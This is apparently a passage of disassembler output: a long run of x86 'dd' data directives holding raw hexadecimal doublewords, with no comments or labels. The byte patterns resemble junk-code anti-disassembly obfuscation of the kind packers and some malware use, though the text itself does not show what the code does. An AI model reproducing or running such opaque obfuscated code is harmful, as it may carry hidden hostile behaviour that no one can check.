		dd 98A0F71h, 0F000000h,	382h, 0FAB70F00h, 305BD8Bh, 613C0607h
		dd 0D8830Fh, 0FF80000h,	0B589C8B6h, 6072D7Dh, 0D4F38166h
		dd 6BAFEh, 0BE90000h, 0DF000000h, 21DA2582h, 2C2FEC80h
		dd 0C18B677Ah, 0F0B70F60h, 2E319589h, 0C1610607h, 0BD8B04E8h
		dd 6071581h, 0FE2F766h,	387h, 0F8B70F00h, 0B70FC82Bh, 0FD18BDBh
		dd 86h,	80E900h, 9D8B0000h, 6071B71h, 4858Bh, 0BB660000h
		dd 3569925h, 711A19Dh, 0C0835B06h, 8CCF8107h, 835FBC6Bh
		dd 8C0F00C0h, 6, 119BD8Bh, 0D03B0607h, 0E830Fh,	0BD290000h
		dd 60718B9h, 3DE9h, 0DFBF0F00h,	0FFFF8D8Bh, 0AE9FFFFh
		dd 8000000h, 580D03E2h,	8B79822Bh, 1E183F6h, 1C840Fh, 9D8B0000h
		dd 607020Dh, 0FFFFA583h, 8AFEFFFFh, 49589F9h, 8B000000h
		dd 0E9DFh, 0B58D0000h, 60B4B07h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 19h, 61C35343h, 0AB2903DEh, 6AF833h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 8AC35040h
		dd 8933E8C6h, 72E69B5h,	6995FF06h, 0F06071Bh, 0E86h, 9D896000h
		dd 60705C1h, 1DA98D8Bh,	0B9610607h, 1118h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 10C35040h, 1ABABF71h
		dd 9D8B1C78h, 607287Dh,	66FCE183h, 6AFCF88Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 6F8AC355h, 0D701E33h, 2BDF8B77h, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 1FF75A98h
		dd 40F37CC7h, 0D22BA4B7h, 0C919D0Bh, 33AD0607h,	3E8D1C2h
		dd 4E983D0h, 8E8F475h, 0DA000000h, 69D6C36Fh, 8BE7EC18h
		dd 72F09BDh, 0B5895B06h, 6070CA5h, 880Dh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 27D1C4D9h, 0BF0F608Ch, 0E88166C8h, 81614379h, 0BAE728CBh
		dd 0AE909h, 45010000h, 2054ED3h, 777BEAF5h, 0A01958Bh
		dd 0D7810607h, 7F6E2867h, 14A58D8Bh, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 3EF4EEC3h
		dd 0B529787Eh, 60702ADh, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 10E95818h, 0FD000000h, 9CA592DDh,	2349CFBDh
		dd 0B501554Eh, 6A6AA34Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0B5AFC357h,	0DDFD9B8Dh
		dd 0F9BD8392h, 6072Fh, 35840Fh,	9D8B0000h, 60715A9h, 0B8h
		dd 0BE900h, 0F1D10000h,	494C20BEh, 0ADBED4F2h, 4A8D8DE3h
		dd 106074Bh, 7271185h, 8BE1FF06h, 71379BDh, 0FD9D0906h
		dd 83060714h, 72FD5BDh,	840F0006h, 3E9h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 0A7C35545h, 2F796EEBh
		dd 8BE84B53h, 0D5BD83FBh, 106072Fh, 3D2840Fh, 8D890000h
		dd 60715F9h, 2FD5BD83h,	0F030607h, 38986h, 619D8B00h, 6006071Ch
		dd 11D5BD8Bh, 8C660607h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 9D09AAB4h, 6072825h, 6A04E180h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0D8FC355h, 0FF1A3ACh, 0C90ADBBFh,	13E840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 867CCCC3h, 5C765952h, 0F1858B5Dh,	6A06070Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 38D3C352h, 0BF0F9732h, 698533FAh,	8B060715h
		dd 71995BDh, 8B665006h,	240489FBh, 17B9BD89h, 0BD0B0607h
		dd 6070CA5h, 8166006Ah,	0E99642E7h, 0Ch, 63BB2F91h, 9F3C2C19h
		dd 0E62F86C3h, 0B81DAB68h, 81FC8A2Ah, 1E542434h, 6A2AA7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 1753FBC3h, 57CBF1F4h, 6195FFF5h, 6A060705h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 33A0C352h, 20DD2BF9h, 5E95635h, 75000000h, 0B6AE793Fh
		dd 0A2918589h, 6A060Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0F7F42DC3h, 0F5D10209h, 0E97ECD87h
		dd 1BBh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	39C35343h, 6A52B1C4h, 9D8B6123h, 6071E61h, 0A289858Bh
		dd 0C7060Ah, 18h, 0FD53BF66h, 0A28DB58Bh, 8B66060Ah, 7D858BDEh
		dd 0F06071Ch, 689F8BFh,	0F1858BF9h, 6A06070Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 98C1C353h, 60C78106h, 893057E0h, 9D890446h, 6071C75h
		dd 0FE996h, 4CF80000h, 0E82B4E01h, 0AC69E27Eh, 0BEC1CFFh
		dd 0E850504Ah, 7, 310E8C16h, 8B70AE8Bh,	965B5BD9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 88C35242h, 8E9A006h
		dd 26000000h, 0EEE97245h, 0FF619BDh, 1C81h, 12E800h, 0A9D90000h
		dd 0DE819AE2h, 2899B523h, 0EBAED462h, 85D34A47h, 0EC6BF66h
		dd 89B5FF5Fh, 8B060AA2h, 723C59Dh, 0F2886806h, 0A7B3B396h
		dd 77240481h, 6A4C8811h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0E386C355h,	4FD9589h
		dd 0E9560607h, 10h, 0B67BCBA5h,	82EAC245h, 0E55BDC02h
		dd 9847D953h, 91858D5Bh, 0E8060AA2h, 0Ah, 7BE5B396h, 0E4DE88D8h
		dd 8D89ECE0h, 6070DE9h,	489505Fh, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 66905406h
		dd 0B7BDD781h, 56195FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0A525EFC3h, 0E07B8D15h
		dd 6684D7DDh, 61D8D2BFh, 33159D8Bh, 0BD330607h,	6072EF5h
		dd 2FD585C7h, 30607h, 0BD8B0000h, 607239Dh, 0A291BD83h
		dd 0F00060Ah, 2D84h, 0D5958900h, 0E906071Fh, 3Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B1C35545h, 0F79B8F2Eh
		dd 305000F6h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h
		dd 6AF8C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0BF685BC3h, 2144F340h, 83D98B4Ah,	72FD5BDh
		dd 850F0306h, 388h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 4CC35242h, 2E989985h,	0A291BD83h, 0F00060Ah
		dd 35B84h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 90D43CB3h, 9CC110FFh, 2721BD8Bh
		dd 0B5FF0607h, 60AA291h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0CBC35646h, 6479B583h, 2830F0Bh, 8A000000h
		dd 4195FFDAh, 0F060716h, 58Bh, 0C7816600h, 0B58BB38Dh
		dd 60AA285h, 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 962596C3h, 0F5C19683h
		dd 0CDBB6696h, 0FE95013h, 61000000h, 1A9A95D9h,	0E70820DAh
		dd 5C5E0EC3h, 6A96E6A5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8B54C353h, 72141BDh
		dd 91B5FF06h, 89060AA2h, 73021B5h, 0E195FF06h, 5206071Dh
		dd 176DBD8Bh, 8B5B0607h, 0AA285B5h, 14E906h, 66C80000h
		dd 2651B75Bh, 0C98D437Bh, 0B42146C2h, 8E50F5F0h, 858BC263h
		dd 60720A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	5C35242h, 89621781h, 0C486h, 0EE900h, 0B3CA0000h
		dd 7617B559h, 0EA95A952h, 6AA6809Bh, 958BD98Bh,	6070A01h
		dd 405B589h, 0C2830607h, 0D1958904h, 8906072Eh,	6A2050h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 60D489C3h, 0E558C681h, 0BD890479h, 6070205h,	0BC858D61h
		dd 1060AB5h, 70B7595h, 0B8868906h, 0E9000000h, 0Fh, 6179D872h
		dd 71EACB4Eh, 0DA9997B7h, 6AD55FEDh, 0FDBD0900h, 0FF06071Ch
		dd 0AA291B5h, 0EF816606h, 95FF3E09h, 6070285h, 2218BB66h
		dd 0ABBB6650h, 2434895Fh, 0FFD9B70Fh, 0AA291B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 810F70F7h, 6, 13058D89h, 9D8B0607h, 6071465h, 115595FFh
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F5C46C3h, 0BD83DAB7h, 60706DDh, 5D840F00h
		dd 0E8000000h, 0Ch, 0F091BEF0h,	699AFA68h, 11B98074h, 0C591E781h
		dd 505F405Ah, 0CE8h, 0B3B0D300h, 986F29DFh, 7FD7CE34h
		dd 0F525080h, 5A5F5731h, 34895F58h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 820F4BF8h
		dd 4, 3F31BB66h, 0A291B5FFh, 0BD89060Ah, 60700F9h, 1BF195FFh
		dd 9D890607h, 6071811h,	0F88B6651h, 91B5FF5Fh, 0F060AA2h
		dd 6E9DEBFh, 87000000h,	0C4E57209h, 0F595FFDDh,	6606071Ah
		dd 839D4BBFh, 719F5BDh,	840F0206h, 60h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 0AEC35040h, 311246B5h
		dd 0FDB8E2E7h, 9E9h, 0D51C9600h, 0B5E3A968h, 858B5759h
		dd 6071A29h, 17CD9589h,	0C60607h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0E20F9619h
		dd 0D0985C7h, 607h, 0B5290000h,	6071889h, 0FFF49AE9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 75FA6523h, 8B3BD501h, 6870FC1h, 29000000h, 723EDBDh
		dd 61858D06h, 6606072Ch, 98B9C381h, 3CBB6650h, 24048904h
		dd 6880Fh, 9D8B0000h, 6070269h,	6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 254EB3C3h
		dd 573BB21Eh, 0F9BD0314h, 6A060726h, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0D8EF32E0h
		dd 763BB3CCh, 82858D9Eh, 8B060BD8h, 5C083D9h, 5050F8FCh
		dd 6E8h, 0DF4FA100h, 0BB52D855h, 26942676h, 4895F5Fh, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 4F72BB40h, 428A4FA6h, 1CE5BD31h, 850F0607h, 6, 1BD98589h
		dd 6A0607h, 4C9ABF66h, 0BD33FC60h, 6071AB1h, 6A006A61h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0F752C353h, 665633A7h, 961AE781h,	133595FFh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0EE777AC3h, 0C300C7C3h, 939D8D8Dh, 0BF0F060Ah
		dd 6AD1FFDFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 276DC355h, 0E61594D8h,	8166193Ch
		dd 8388E4C3h, 732B1BDh,	850F0106h, 9Fh,	0FE9h, 483A2400h
		dd 0AC5083B8h, 0DAC5B4F4h, 0D377F541h, 6A026Ah,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0B3F565C3h, 0F905772h, 168Eh, 0BF666000h, 0BE9758Bh
		dd 26000000h, 0BD973BF2h, 8443A4C8h, 5061CA88h,	14E890h
		dd 1E510000h, 955CEE06h, 61D6EB0Fh, 70D628CDh, 3C58E8B5h
		dd 0C3814B8Bh, 6781FC4Ah, 8595FF5Fh, 6A060702h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 5123C351h, 758D315Ah, 0E9060720h, 0C63h, 0E8h, 0ED815D00h
		dd 60BD88Ch, 31359589h,	870F0607h, 3, 6AD9BF0Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 7A68C350h, 342B2AABh, 3858D73h, 29060A86h, 709B18Dh
		dd 13E89006h, 22000000h, 329A3DD3h, 4E48F0B1h, 2F135AACh
		dd 0AC9B96CDh, 8B602411h, 61C68BD7h, 5F52505Bh,	12E890h
		dd 44E60000h, 0B8F2256Ah, 846F05EDh, 0BDDA4904h, 0AF79EE2Dh
		dd 0FF64F55Fh, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 81103F16h, 0B9E6F874h
		dd 0FF8FEB81h, 0BD8B34CCh, 6073035h, 258964h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 32E3C355h, 0B2A89780h, 0FF701D55h, 72C8985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0EB816614h, 0FF6ADDB7h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 2FC35141h, 0DC62A012h, 3C481EBBh
		dd 10DB5FFh, 95FF0607h,	607213Dh, 0F4E9h, 0FAB70F00h, 0BF0F00B0h
		dd 0DD9D23F9h, 0E6060723h, 13DB8070h, 613C71E4h, 0D7830Fh
		dd 0BF660000h, 0B60F3975h, 75BF66C8h, 0F99D8983h, 0BA060702h
		dd 6, 26659D8Bh, 0C18B0607h, 2E319D8Bh,	0E8C10607h, 299D8904h
		dd 66060726h, 0B70FE2F7h, 0F8C82BDAh, 8D89D18Bh, 60717C9h
		dd 94E9h, 0D7816600h, 858B7690h, 5F4C4C44h, 14E9h, 379CA00h
		dd 0AC0A2EB2h, 953D8496h, 967AD5A6h, 0D03CCF6Ah, 7C0835Eh
		dd 659BD8Bh, 0C0830607h, 9E900h, 0AC100000h, 96191DB4h
		dd 2910E20Fh, 70B89B5h,	0FD03B06h, 0D83h, 0E9FE8B00h, 41h
		dd 11BDB509h, 8D8B0607h, 0FFFFFFFFh
		dd 1245BD8Bh, 0E1830607h, 26840F01h, 29000000h,	7047585h
		dd 0FFA58306h, 0FEFFFFFFh, 0E219589h, 95890607h, 5F4C4C44h
		dd 650ACB81h, 85B75AB9h, 0E9h, 1FB58D00h, 6A060B5Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 9E6EC352h, 8F3C3CDBh, 0E8FE8BD9h, 11h, 58AE83AEh, 0E4BBD292h
		dd 609D1AEFh, 0B87F7F1Ch, 0D59589F0h, 5F060703h, 1EBF006Ah
		dd 0FF2120CEh, 71B6995h, 65BD3306h, 0B906071Ch,	0F9Dh
		dd 30298529h, 0E1830607h, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 9DBA65E3h
		dd 53C4F3C0h, 178B0Fh, 0EE80000h, 0E6000000h, 67D2A678h
		dd 0BD378EDCh, 0FB3B6628h, 38CB8074h, 6AFC5Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0E1995CC3h, 7EDF2B8h, 0FD8AE647h, 0BDDBD23h,	0B80607h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 9534C357h, 0C7198CD7h,	0FBDB3B86h
		dd 6840Fh, 0BD8B0000h, 60712BDh, 0BAh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0CE29CCAEh, 0C98A6472h, 8D8908E1h, 6070BFDh,	0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0DDAB70Fh, 88h, 6619D8Bh, 958B0607h
		dd 6070A01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0EDC35242h, 660EC022h, 8D39F781h, 14A58D8Bh, 6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 535C6CC3h, 509112E6h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 0F9BD8B58h, 6A060715h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8346C351h
		dd 72FF9BDh, 840F0006h,	27h, 0B8h, 0D19D8B00h, 8D06070Ch
		dd 74B4A8Dh, 0B870F06h,	0E9000000h, 6, 52AE9DD0h, 0E1FFF9F1h
		dd 8385F380h, 72FD5BDh,	840F0006h, 3D4h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 3BC35040h, 8285E7DAh
		dd 0D95CA43h, 9D3352CAh, 6071DA9h, 0D5BD835Bh, 106072Fh
		dd 3B5840Fh, 0BF660000h, 0BD83ABC7h, 6072FD5h, 6E860F03h
		dd 6A000003h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 5C9BC353h, 0CD8F7030h,	6A60F876h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 9E69C350h, 756C787Ch, 0FF9A1E3h, 0BD01FBB7h
		dd 6073119h, 6AD98C66h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0B983C356h,	0A82AD6C2h
		dd 1BA1BD8Bh, 6E90607h,	82000000h, 896B8677h, 4E18048h
		dd 0CEBB6651h, 0C90A5BEAh, 0FD840Fh, 81660000h,	8BD7B8D3h
		dd 70EF185h, 118D3106h,	33060701h, 7156985h, 0CDB50906h
		dd 90060713h, 9E9h, 50BD6F00h, 47DCEE86h, 6650D665h, 90AC74BFh
		dd 0AE9h, 0F18DDB00h, 6B867782h, 6A214889h, 7D9D0B00h
		dd 6806072Dh, 0A6B1BB3Fh, 0D151BB66h, 0C0240481h, 0E8596D48h
		dd 5, 0ABEAC504h, 0B59D093Ah, 5B060721h, 56195FFh, 6A0607h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0C46E3CC3h, 3B0F3ECh, 7055DBDh, 91858906h, 6A060AA2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 6973C351h, 922452D3h, 38EEEA06h, 5C9B589h
		dd 0C4E90607h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0EBC7C356h,	724BED4Eh
		dd 89AE6ABFh, 715BDB5h,	8ADF8106h, 8B325671h, 0AA28985h
		dd 0F8BF0F06h, 1800C7h,	8B660000h, 0EE9DEh, 4FCB0000h
		dd 0C265BBD9h, 241F9ECAh, 0A48A4109h, 0A28DB58Bh, 6A060Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E9A5ABC3h, 0Fh, 0D5962F76h,	9E3B5BEAh, 0D4BD8B9Eh
		dd 8B7F2113h, 72679BDh,	7D858B06h, 6A06071Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0E761C357h, 0E97D1792h, 0Bh,	0DC176B94h, 995610DEh
		dd 8993010Bh, 35BD8906h, 8B060728h, 70EF185h, 12E906h
		dd 5AEC0000h, 8BCB15D3h, 4B730348h, 2B484348h, 0BF522412h
		dd 0F044689h, 387h, 0D98B6600h,	0DA8B6650h, 6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0F6F9C352h, 14BEFDC2h, 0DBB70F11h, 0A289B5FFh
		dd 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 1EC72C3h,	14358501h, 0DE8B0607h, 27AE5568h
		dd 6E96006h, 0A9000000h, 4C31C9BAh, 4E67BE08h, 81611824h
		dd 0ADAA2434h, 13E90638h, 0B4000000h, 0A5F3CFE7h, 0E405E013h
		dd 3477C081h, 0F69095AFh, 858D54DBh, 60AA291h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 62C35747h, 0C99D8B1Fh
		dd 5006070Bh, 66240489h, 0A6BDB81h, 56195FFh, 81660607h
		dd 61954FE3h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 15h,	6DC35343h, 0D9B70F27h, 2FD585C7h, 30607h, 9D230000h
		dd 6071DFDh, 0A291BD83h, 0F00060Ah, 884h, 1EE900h, 0BF0F0000h
		dd 0C3050DFh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	9FC35141h, 0C394DE38h, 668D0BE5h, 0E965E1BFh, 0Bh
		dd 0B443945Eh, 84D1239Ah, 0E901D176h, 0Bh, 6C6E07Eh, 2B0D5CC6h
		dd 83218861h, 72FD5BDh,	850F0306h, 37Ch, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 36C35646h, 49BD8B7Ah
		dd 83060730h, 0AA291BDh, 840F0006h, 34Ch, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 0DFC35545h, 74739E56h
		dd 0B5FF2F52h, 60AA291h, 1149BD8Bh, 95FF0607h, 6071641h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 92C35747h
		dd 0C78166BFh, 65BB6D1Ch, 8B4CB47Bh, 0AA285B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 58729AFDh, 106C746h,	6A000100h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A626C350h
		dd 9C0CB6A0h, 5250509Ah, 14E8h,	0E88FE500h, 137C6732h
		dd 6BA6B369h, 74199B69h, 951B0370h, 5F5B56F4h, 5B50310Fh
		dd 3489585Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 6381D9B5h, 2CFB531Fh, 0A291B5FFh
		dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0E88F0CC3h, 11h, 6D2F33AEh
		dd 76EC99B1h, 34A07449h, 8081A4D6h, 419D890Ch, 5B06070Bh
		dd 1DE195FFh, 850F0607h, 6, 12A19D8Bh, 0B58B0607h, 60AA285h
		dd 858BF88Bh, 60720A5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0FBC35242h, 0D09D8A60h, 34961CE9h, 0CE9BCh
		dd 25FE0000h, 7FA5C74Eh, 0D436394Eh, 8689E712h,	0C4h, 6860Fh
		dd 85890000h, 6071B7Dh,	0A01958Bh, 0EE90607h, 6D000000h
		dd 51E4950Bh, 4727A295h, 0EB5FC3C6h, 4C28346h, 0FCDA8B66h
		dd 66205089h, 858DF88Bh, 60AB5BCh, 0B88689FCh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0ACAFC351h, 6D0382C5h, 0B5FF006Ah, 60AA291h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C9C35242h
		dd 0BD924586h, 7BED3E55h, 8595FF00h, 6A060702h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0C88DC350h, 0C39B4B14h, 89E415A2h, 721798Dh,	8B509606h
		dd 8B505FF8h, 85BF96FBh, 0FF604677h, 0AA291B5h,	5595FF06h
		dd 0BF060711h, 54E1FBD1h, 6DDBD83h, 0F000607h, 1984h, 50FC8A00h
		dd 348915B3h, 0CE924h, 87A60000h, 65F220A4h, 6F4F693h
		dd 0B5FF9054h, 60AA291h, 16259D8Bh, 95FF0607h, 6071BF1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0ECC35545h
		dd 28D55C2Eh, 4C8E83CEh, 958589FFh, 0FF060700h,	0AA291B5h
		dd 0FFFB8B06h, 71AF595h, 6E906h, 2BFD0000h, 5708F0F1h
		dd 19F5BD83h, 0F020607h, 4884h,	81958900h, 8B060705h, 71A2985h
		dd 12E96006h, 22000000h, 8D3A53F0h, 0A8484A5Ah,	0FC74651Dh
		dd 7C7E5AD9h, 11E858h, 0BA720000h, 0C0D6F8C4h, 69E33DB2h
		dd 0A9E0C763h, 168B3ABh, 728118Dh, 0C6615A06h, 0C7800000h
		dd 985C7C4h, 6070Dh, 66000000h,	8E9DE381h, 0FFF4D9E9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 9C74C576h, 8BDA8B62h, 720E1BDh, 66C18B06h
		dd 8D0EF8BFh, 72C6185h,	499D8906h, 50060718h, 489FA8Bh
		dd 6AF88B24h, 0AE900h, 24EB0000h, 12C07615h, 5F16F73Bh
		dd 0CB81006Ah, 50DA9A14h, 0E681858Dh, 0E2B3060Bh, 6A05C083h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 27AFC353h, 4890F8Ah, 66000000h, 903A1CBBh
		dd 11800F50h, 50000000h, 0F525052h, 0F585A31h, 854DBB31h
		dd 585A3BC6h, 14E890h, 2180000h, 507F278Ah, 2B346328h
		dd 0D06D1CCEh, 0FEA5E459h, 0E95FA16Bh, 10h, 2E741FEEh
		dd 52B8C114h, 5BA5ABEBh, 0B91EBA4Ch, 0BF0F006Ah, 6A006ADAh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0B2CC350h, 4558870Ah, 80E56534h, 95FF46E3h
		dd 6071335h, 1CB99D89h,	0BF0F0607h, 9D8D8DF8h, 66060A93h
		dd 0FF7A78BBh, 1DB589D1h, 83060729h, 732B1BDh, 850F0106h
		dd 92h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h
		dd 0C1C35343h, 0F460C5DAh, 6AD88B66h, 58B0F02h,	66000000h
		dd 115ED381h, 934FBB90h, 8B50670Fh, 6A90FAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 7E459AC3h
		dd 149BD8Bh, 0FFF80607h, 7028595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0EC1B4CEAh
		dd 8B47AEF8h, 728259Dh,	0CB816606h, 81E9CF51h, 0E800000Dh
		dd 0
		dd 8BED815Dh, 6A060BE6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 2D24C350h, 0FE3E74AFh
		dd 0DE8BCA4Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0EBC35747h, 3858D78h, 29060A86h, 71FC995h, 12E89006h
		dd 0FE000000h, 37B9FE83h, 0E2AD377Eh, 0B50245F6h, 8A98C502h
		dd 5FF88BA5h, 7B7FBF50h, 81900622h, 0DF4D27F7h,	35FF644Bh
		dd 0
		dd 64D8BF0Fh, 2589h, 0AE90000h,	0E7000000h, 5A26FEE6h
		dd 458F7835h, 8985FF51h, 6A06072Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6918C355h
		dd 0D619DDDAh, 6A2DCBF7h, 0EE9FFh, 0D7EA0000h, 3644E27Bh
